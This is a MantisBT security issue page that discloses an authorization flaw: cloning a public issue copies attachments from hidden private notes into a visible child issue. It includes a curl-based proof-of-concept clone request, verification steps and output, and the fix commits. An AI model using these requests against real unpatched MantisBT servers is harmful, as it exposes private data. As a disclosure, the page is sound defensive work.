Relationship Graph

Relationship Graph
related to related to child of child of duplicate of duplicate of

View Issue Details

IDProjectCategoryView StatusLast Update
0037027mantisbtsecuritypublic2026-11-22 16:08
Reporterninjasec Assigned Todregad  
PrioritynormalSeverityminorReproducibilityalways
Status closedResolutionfixed 
Product Version2.28.1 
Target Version2.29.0Fixed in Version2.29.0 
Summary0037027: Clone Issue Copies Hidden Private-Note Attachments Into a Visible Child Issue
Description

Summary:

  • A low-privileged user can clone a public issue and copy parent attachments and notes even when some of that parent data is attached to hidden private bugnotes the user cannot view.
  • During clone, private-note attachments are copied as normal issue attachments on the child issue, making them visible and downloadable to the attacker.
  • Hidden private notes are also copied into the child issue via the unrestricted note-copy path.

Affected code:

  • bug_report.php
  • core/commands/IssueAddCommand.php
  • core/file_api.php

Why it happens:

  • The clone handler accepts copy_notes_from_parent and copy_attachments_from_parent from the report/clone form.
  • IssueAddCommand copies notes from the parent with bugnote_get_all_bugnotes( $t_master_issue_id ), not the visible subset.
  • It copies attachments with file_copy_attachments( $t_master_issue_id, $t_issue_id ).
  • file_copy_attachments() inserts new {bug_file} rows without preserving bugnote_id, so an attachment that originally belonged to a hidden private bugnote becomes a plain issue attachment on the cloned issue.
Steps To Reproduce

PoC setup:

  1. Use a public issue that a reporter can view.
  2. Ensure that issue has:
    • at least one hidden private bugnote owned by another user
    • at least one attachment linked to that hidden private bugnote
  3. Confirm the reporter cannot access the source attachment directly:
curl -i -L 'http://127.0.0.1:8082/file_download.php?file_id=16&type=bug' \
  -b /tmp/mantis-reporter-audit2.jar

Observed control result:

HTTP/1.1 403 Forbidden
  1. Open the clone form for the source issue and copy the live bug_report_token.
  2. Submit the clone request with both copy options enabled.

PoC request:

curl -i 'http://127.0.0.1:8082/bug_report.php' \
  -b /tmp/mantis-reporter-audit2.jar \
  --data 'bug_report_token=TOKEN&\
m_id=1&\
project_id=1&\
category_id=1&\
summary=clone+leak+probe+20260318&\
description=clone+leak+probe+20260318&\
view_state=10&\
copy_notes_from_parent=on&\
copy_attachments_from_parent=on&\
rel_type=-2'

Observed result:

HTTP/1.1 302 Found
Location: http://127.0.0.1:8082/view.php?id=71

Verification:

  1. The source issue page shown to reporter did not contain the hidden attachment name:
curl -s -L 'http://127.0.0.1:8082/view.php?id=1' \
  -b /tmp/mantis-reporter-audit2.jar | rg 'private-note-attachment'

Observed result:

  • no matches
  1. The cloned issue did contain and preview the copied private-note attachment:
curl -s -L 'http://127.0.0.1:8082/view.php?id=71' \
  -b /tmp/mantis-reporter-audit2.jar | rg 'private-note-attachment|file_id=18|Note Added: 0000014'

Observed response fragments:

<a href="file_download.php?file_id=18&type=bug" target="_self">private-note-attachment.txt</a>
<pre class="bug-attachment-preview-text">private-note-attachment
Note Added: 0000014
  1. The cloned attachment was downloadable by reporter:
curl -i -L 'http://127.0.0.1:8082/file_download.php?file_id=18&type=bug' \
  -b /tmp/mantis-reporter-audit2.jar

Observed result:

HTTP/1.1 200 OK
Content-Disposition: attachment; filename="private-note-attachment.txt"
private-note-attachment
  1. Database state after cloning confirmed that hidden parent content was copied:
14|1|50|history-leak-1773601832
15|2|50|This a private test note
16|2|10|This is an public test note
17|71|1|0|soap-admin-issue1.txt
18|71|1|0|private-note-attachment.txt

Impact:

  • A user who can clone an issue can exfiltrate attachments from hidden private bugnotes on the source issue.
  • The copied attachment loses its bugnote association and becomes a normal issue attachment on the child issue.
  • Hidden parent notes are also copied into the child issue, creating additional metadata leakage through child-issue history even when the copied private note remains hidden.
TagsNo tags attached.

Relationships

has duplicate 0037499 closeddregad Authorization bypass: cloning an issue copies attachments from private bugnotes (CWE-862) 
has duplicate 0037096 closeddregad Private Bugnote Files Disclosure via Issue Cloning or Bulk Copying 
has duplicate 0037505 closeddregad A private note's attachment can be downloaded from a copy or clone of the issue 
related to 0037506 closeddregad bug_copy() does not update the source Issue's last_updated date 
related to 0037507 resolveddregad file_copy() function declaration triggers deprecation notice on PHP 8.4 and later 

Activities

dregad

dregad

2026-11-15 11:07

developer   ~0071599

The vulnerability is confirmed. It has been reported by other security researchers too (see 0037096, 0037499).

dregad

dregad

2026-11-22 14:36

developer   ~0071623

Advisory https://github.com/mantisbt/mantisbt/security/advisories/GHSA-jpf2-wjmq-x6cf created and CVE request sent.

Related Changesets

MantisBT: master 28751247

2026-11-15 11:24

dregad


Details Diff
file_copy_attachments() now populates bugnote_id

Failure to do so could result in attachments linked to private bugnotes
to be copied as issue-level (public) attachments, even when the copy
operation is performed by an unprivileged user that does not have access
to private notes and could therefore not see the files attached to them.

Fixes 0037027
Affected Issues
0037027
mod - core/file_api.php Diff File

MantisBT: master c51801bb

2026-11-15 11:54

dregad


Details Diff
Only copy issue-level attachments

This prevents creation of orphaned attachments linked to the new bug id
and the old bug's notes.

file_copy_attachments() is called in the context of copying an issue,
but it is not able to handle bugnote-level attachments as it does not
know about the new IDs of cloned notes.

Fixes 0037027
Affected Issues
0037027
mod - core/file_api.php Diff File

MantisBT: master 3833f80d

2026-11-15 13:02

dregad


Details Diff
Add method BugnoteData::create()

Inserts a new bugnote into the database from the BugnoteData object.

Adapt bugnote_add() to use the new method.

Issue 0037027
Affected Issues
0037027
mod - core/bugnote_api.php Diff File

MantisBT: master 2bc5ee47

2026-11-15 18:05

dregad


Details Diff
Add file_copy() function

Copies a single bug or bugnote attachment.

Issue 0037027
Affected Issues
0037027
mod - core/file_api.php Diff File

MantisBT: master 95c7c231

2026-11-15 18:08

dregad


Details Diff
Add bugnote_copy() to clone a bugnote with attachments

Issue 0037027
Affected Issues
0037027
mod - core/bugnote_api.php Diff File

MantisBT: master 1de22524

2026-11-15 19:08

dregad


Details Diff
New IssueAddCommand::$clone_info property

Initializing the array with defaults values for the expected entries
when retrieving the option in the validate() method avoids repeated
isset() calls in process().

Issue 0037027
Affected Issues
0037027
mod - core/commands/IssueAddCommand.php Diff File

MantisBT: master afdfc64c

2026-11-15 19:09

dregad


Details Diff
Only copy visible bugnotes when cloning issue

- From bug_report.php (IssueAddCommand)
- via bug_actiongroup.php (bug_copy() function)

Instead of executing SQL statements:
- Call bugnote_get_all_visible_bugnotes() to retrieve the notes to copy
- Use new bugnote_copy() function to copy them (including attachments)

Fixes 0037027
Affected Issues
0037027
mod - core/bug_api.php Diff File
mod - core/commands/IssueAddCommand.php Diff File